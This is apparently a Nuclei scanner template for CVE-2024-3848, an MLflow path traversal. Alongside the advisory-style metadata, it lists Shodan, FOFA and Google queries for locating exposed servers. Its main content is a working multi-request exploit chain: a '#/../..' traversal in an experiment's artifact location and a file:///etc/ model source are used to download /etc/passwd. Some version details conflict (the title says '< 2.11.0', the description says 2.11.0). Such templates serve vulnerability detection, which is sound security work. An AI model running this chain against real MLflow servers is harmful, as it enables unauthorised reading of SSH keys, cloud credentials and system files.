Mlflow < 2.11.0 - Path Traversal

id: CVE-2024-3848

info:
  name: Mlflow < 2.11.0 - Path Traversal
  author: gy741
  severity: high
  description: |
    A path traversal vulnerability exists in mlflow/mlflow version 2.11.0, identified as a bypass for the previously addressed CVE-2023-6909. The vulnerability arises from the application's handling of artifact URLs, where a '#' character can be used to insert a path into the fragment, effectively skipping validation. This allows an attacker to construct a URL that, when processed, ignores the protocol scheme and uses the provided path for filesystem access. As a result, an attacker can read arbitrary files, including sensitive information such as SSH and cloud keys, by exploiting the way the application converts the URL into a filesystem path. The issue stems from insufficient validation of the fragment portion of the URL, leading to arbitrary file read through path traversal.
  impact: |
    Successful exploitation could be lead to disclose of sensitive information such as SSH Keys or Internal configurations.
  remediation: |
    To fix this vulnerability, it is important to update the mlflow package to the latest version 2.12.1.
  reference:
    - https://huntr.com/bounties/8d5aadaa-522f-4839-b41b-d7da362dd610
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3848
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-3848
    cwe-id: CWE-29
    epss-score: 0.43012
    epss-percentile: 0.98731
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: lfprojects
    product: mlflow
    shodan-query: "http.title:\"mlflow\""
    fofa-query:
      - title="mlflow"
      - app="mlflow"
    google-query: intitle:"mlflow"
  tags: cve,cve2024,mlflow,lfi,intrusive,lfprojects,vuln,vkev

variables:
  random: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /ajax-api/2.0/mlflow/experiments/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{randstr}}", "artifact_location": "http://host#/../../../../../../../../../../../../../../etc/"}

      - |
        POST /api/2.0/mlflow/runs/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"experiment_id": "{{EXPERIMENT_ID}}"}

      - |
        POST /ajax-api/2.0/mlflow/upload-artifact?run_uuid={{RUN_ID}}&path=a?/a HTTP/1.1
        Host: {{Hostname}}

        {{random}}

      - |
        POST /ajax-api/2.0/mlflow/experiments/delete HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"experiment_id": "{{EXPERIMENT_ID}}"}

      - |
        POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{randstr}}"}

      - |
        POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{randstr}}", "run_id": "{{RUN_ID}}", "source": "file:///etc/"}

      - |
        GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version=1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body_7
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header_7
        words:
          - "filename=passwd"
          - "application/octet-stream"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: json
        part: body_1
        name: EXPERIMENT_ID
        group: 1
        json:
          - '.experiment_id'
        internal: true

      - type: json
        part: body_2
        name: RUN_ID
        group: 1
        json:
          - '.run.info.run_id'
        internal: true